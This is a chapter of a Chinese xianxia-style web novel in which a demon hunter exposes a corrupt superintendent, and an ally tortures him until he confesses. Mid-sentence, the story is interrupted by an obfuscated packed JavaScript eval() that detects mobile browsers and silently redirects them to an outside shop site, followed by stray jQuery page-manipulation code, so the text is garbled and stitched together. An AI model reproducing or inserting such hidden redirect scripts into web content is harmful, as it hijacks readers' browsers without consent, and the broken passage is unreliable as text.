姜长泠捏了捏眉心道:“你既知钱恒亮与妖都督办有所往来,而这次妖潮动乱又事关钱恒亮,那么你觉得督办敢将此事上报么?倘若这件事被他独自摆平,钱恒亮的事迹便将再难以重见光明,如果不能摆平,青竹城便会经历一场浩劫。”
“这些结局真的是你想预见的吗?”
长孙仲晏握了握拳头,眸光逐渐黯淡下来。
似乎是内心挣扎了一番。
许久,他点头道:“我答应你,但是...若能遇到可商议的妖,你能不能放过他们一马?”
姜长泠拿起手中的降妖袋道:“我允诺你,尽量不杀。”
“好。”长孙仲晏抹了抹眼睛站起身来,“那我走了。”
“路上小心,还望一帆风顺。”
“多谢。”
话毕,长孙仲晏便转身跃上屋檐奔去。
而姜长泠也在此刻转身朝一个方向跑去。
她心中也只有着一个念头:要先回到妖都。
不过刚跑不远她又碰巧遇到了四散落难的流民被妖追赶着,无法,她只好停步下来先将妖给降服。
她刚想释放灵力,却见身边蹿过一个人影,执着剑,速度极快地冲向那一只妖仆。
一人一妖短暂的交手后,妖仆最终惨死在了符月炳的剑下。
姜长泠自然是认得眼前这个人。
她大概也猜到他为什么会出手帮她。
于是她继续向前跑着,经过符月炳时对他说了句:“多谢道友出手。”
符月炳默默收了剑,飞跃上屋檐消失了影踪。
接下来姜长泠每经过一个岔路口时都能看见两边的街道都倒下了正流着血的妖仆的尸体而幸存的百姓匆匆跑开的场面。
感激之意在她心头油然而生。
就这样,她一路畅通无阻到达了妖都的附近。
惊悚的是,妖都的大门外竟堆放了好几具尸体,而门上赫然印着几个血手印。
她不禁皱起眉,小心翼翼地越过那几具尸体找到了一处落脚点,手不过撑在了大门之上轻轻推了下,却被她轻易推开出了一条缝隙。
疑惑之下,她猛然推开大门。
一瞬间,她看见了门后正藏了两只妖仆准备向她袭来,还未有动作,那两只妖仆就被一柄亮剑横在脖颈间划过,无声无息地在她面前倒了下去。
两个妖仆倒下后,她果然看见符月炳持着带血的剑一脸漠然的就站在她面前。
“不胜感激。”姜长泠对他略微一抱拳便冲了进去。
转芒堂内,史部的人死了一片,横七竖八地布满了整个地板,血流成河。
而那熟悉的高堂之上,潘秉坤一脸病态的苍白,提着笔的手正微微颤抖停下,才抬头看向他们。
他强压着镇定问道:“姜长泠你回来的正好,外面的情况怎么了?”
姜长泠盯着他道:“整个青竹城都布满了罪妖,督办就这么放任不管吗?”
“放肆!哪里不管了,本督办这不是已经将捉妖师全部派遣出去了吗!”潘秉坤激动道。
“钱恒亮已死,他手下的罪妖全部被释放,恐怕整个妖都三处的人手出马都不够摆平的,督办就不打算向二处求援?”姜长泠一步步向堂上走去。
“他为什么会死!?”闻言,潘秉坤震怒,见她靠近又赶忙将桌上写着的信纸用册子盖住,“他死了又与本督办有何干系?”
姜长泠一拍桌子道:“如若不是督办将地牢中的罪妖押送给钱恒亮,而钱恒亮又用着玄灵金丝操控罪妖干着不为人知的污秽之事,我想今天这个局面也不会发生吧?”
潘秉坤目光瞥向一边哑口无言。
姜长泠见潘秉坤这副模样就知自己说的是事实。
这么想来,那天她濒死遇到的虎妖应该正是幸从钱恒亮手下逃离出来还未绣上玄灵金丝的妖。
虽身上有着束灵烙印,但灵力不知因何被解封逃出来为祸了人间。
所以第二天她将此事上报给了督办,而督办也置之不理的态度也能解释得通了。
而虎妖事发时就只有她和白祝锦两人在场,钱恒亮便只想将他们两个以捉妖的名义置他们于死地,不惜派出了数个妖仆分散掉妖都所有捉妖师的注意。
让白祝锦孤立无援,差点死在那两只鼠妖手里,而她碰巧在那客栈遇见了萧公子才被救下。
又想到在抚柳院的种种,她才反应过来自从遇到虎妖后她无时不处在危险之中。
多亏了萧公子和长孙叔的一路相助,她才能安然无恙地走到了现在。
她不免有些后背发凉。
“你到底是如何知道那么多的?”潘秉坤沉声问道。
“你无需知道。”姜长泠道,“你现在要做的便是尽快将青竹城的状况传达给二处的主办大人请求援助。”
潘秉坤干笑一声:“你觉得我会这么蠢吗,信不信我将手底下派出去的妖全部收回来,让青竹城的人死得更多?”
“纸永远包不住火,就算你独自平息了这场斗争,也定会有人将这事告到二处,你无论如何都不可能再坐督办之位。”
“那又如何?”潘秉坤咧开苍白的唇得意地笑了起来,仿佛是在笑她的无能。
他一旦以百姓的性命来做要挟,他就笃定了姜长泠不敢对他怎么样。
潘秉坤笑起来的模样太恶心,后面站着的符月炳都忍不下去开口:“姜捉妖师,你还是太过善良,这种人宁愿杀掉也不用与他多费口舌。”
杀掉?那青竹城中剩下的百姓该怎么办?
姜长泠不免有些丧气。
“不想死的话,活着也不错。”萧烬的声音从身后传来。
接着潘秉坤眉头一皱,还不知道眼下的人说的不错在哪,一股拧紧的拉扯感便慢慢爬上他的全身。
姜长泠刚看见他表情上的异样眼前就忽而一暗被人用手捂住了。
这阵温热之意与她脸上冰凉相霎时触碰让她为之一颤。
她刚想动弹,就听见潘秉坤的惨叫声像杀猪一般传遍整个转芒堂,她突然又想不动了…
“招不招?”萧烬温柔的声音近在她耳边。
这般春风拂面的语气另姜长泠根本想象不到身边的人在对潘秉坤做了什么惨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150549|135798||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无人道的刑法。
甚至还要捂上她的眼睛。
“招,招啊!我什么都招!你让我做什么都可以!”潘秉坤忍着疼痛咬牙道。
这下萧烬才收手。
姜长泠的眼前又恢复了光明。
她看向潘秉坤时,发现他能看见得地方都布满了一条条血痕,皮肤也红肿了一大片。
她再扭头看向萧烬,一双黑眸平静似水,见她时瞳孔便染上几分笑意:“这么看我做什么,我是怕方才的画面你承受不住。”
“多谢。”姜长泠眨了眨眼随即从他身上挪开了视线。
潘秉坤才缓过劲来,一怒之下将刚才写着的信纸撕了个稀碎,重新拿了一张崭新的信纸:“说吧,你们要我写什么都可以。”
“把你的罪行和青竹城的现状纷纷交代清楚。”姜长泠扣了扣桌子。
潘秉坤一听这不就是让他写遗书的意思?
于是他灵机一闪便道:“这样,我先让二处搬援兵来,剩下这封信我在你们眼皮底下写完再交如何?”
“那便如此。”姜长泠妥协点头。
闻言,潘秉坤从袖中抽出一张青绿色的符纸毕恭毕敬道:“孟大人,青竹城突发妖潮火烧眉急,有着回天乏术之势,恳求孟大人派捉妖师前往青竹城增援。”
话毕,那青绿色的符纸便化为青烟。
“这样总可以了吧。”潘秉坤抬头看了他们一眼就准备提笔写字。
他不过刚写了几个字准备沾沾墨水时,来自二处的孟大人回音就来了。
一张蓝底符纸悬空漂浮却只有简短的四字从上面传出:“自行解决。”
姜长泠不解皱眉。
二处的处理方式竟是如此冷漠?
“你们也看到了,是孟大人不肯施以援手。”潘秉坤无奈甩手。
“不对,你再说一次。”姜长泠道,“方才你话语中的意思是突发的意外,而并未坦白是因为你贪污勾当而导致的失控残局。”
潘秉坤背后寒毛直竖,不断咽了好几口唾沫。
“看来督办大人这么快忘记刚才受过的苦楚了?”姜长泠凝眸看向他。
此话落下,萧烬颇有深意地看了一眼姜长泠。
她什么时候学会借势了?
难道不是哪怕是超过了自己的能力范围也要独自抗下事事的那个姜捉妖师么?
“没有,绝对没有。”潘秉坤狂甩头,方才他全身皮肤被凑紧到极致的感觉他就算到了地狱也不会忘记。
他欲哭无泪地点头:“我说,我什么都说。”
就在这时,一张蓝色符纸再次悬至空中:“贤弟能处理得过来么?”
潘秉坤心里拼了命地想说能,可奈于面前还有两个不知从何而降的正义使者正在制裁他啊!
他只能讪讪地拿出青绿色的符纸道:“孟大人,我要主动坦白我的罪行,是我的错,我不该将那些罪妖卖给富商,现在富商死了,整个青竹城都被罪妖席卷了,我保不住青竹城,也保不住我这督办之位。”
说完,他硬是捏了那张符纸很久不肯松手,默默挤出了两行浊泪。